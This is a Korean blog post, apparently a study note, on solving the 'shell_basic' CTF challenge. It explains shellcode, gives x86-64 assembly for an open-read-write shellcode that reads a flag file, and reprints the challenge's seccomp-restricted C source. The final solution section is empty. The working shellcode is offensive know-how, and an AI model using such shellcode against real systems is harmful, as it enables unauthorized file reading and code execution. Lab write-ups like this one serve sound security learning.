본문 바로가기

모의해킹/시스템 해킹

shell_basic

728x90

문제 정보

 

 

• Shell coade

익스플로잇을 위해 제작된 어셈블리 코드 조각이다. 즉, shell을 획득하기 위한 목적으로 shell코드르 사용한다.

 

• orw shellcode

orw shellcode는 파일을 열고, 읽은 뒤 화면에 출력해주는 코드이다.

ex) "/tmp/flag"를 읽는 shellcode 작성하기

char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL); // 문자열을 메모리에 위치시키기
read(fd, buf, 0x30);
write(1, buf, 0x30);

스택에는 8바이트 단위로만 값을 push 할 수 있다. 근데 "/tmp/flag" 는 9바이트 이기때문에 먼저 0x67를 우선 push 한 다음 해줘야한다.(리틀 엔디언으로 저장되기 때문에 마지막 문자를 넣어줘야한다)

*0x67은 'g' 단어의 16진수이다. 

//int fd = open("/tmp/flag", O_RDONLY, NULL)
push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)


//read(fd, buf, 0x20)
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)


//write(1, buf, 0x30)
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

 

• 문제 풀이

// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  init();
  
  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

 

- orw 코드 작성

int fd = open("/home/shell_basic/flag_name_is_looooooog", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);

 

- 스켈레톤 코드

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

 

- shellcode 작성

 

 

 

 

'모의해킹 > 시스템 해킹' 카테고리의 다른 글

Welcome  (0) 2023.12.09
qemu & gdb 세팅  (0) 2023.05.30
리눅스 커널 & 파일 시스템 빌드  (0) 2023.05.29
리눅스 커널 해킹 (배경 지식)  (0) 2023.05.27
시스템 해킹 기본 지식  (0) 2023.05.11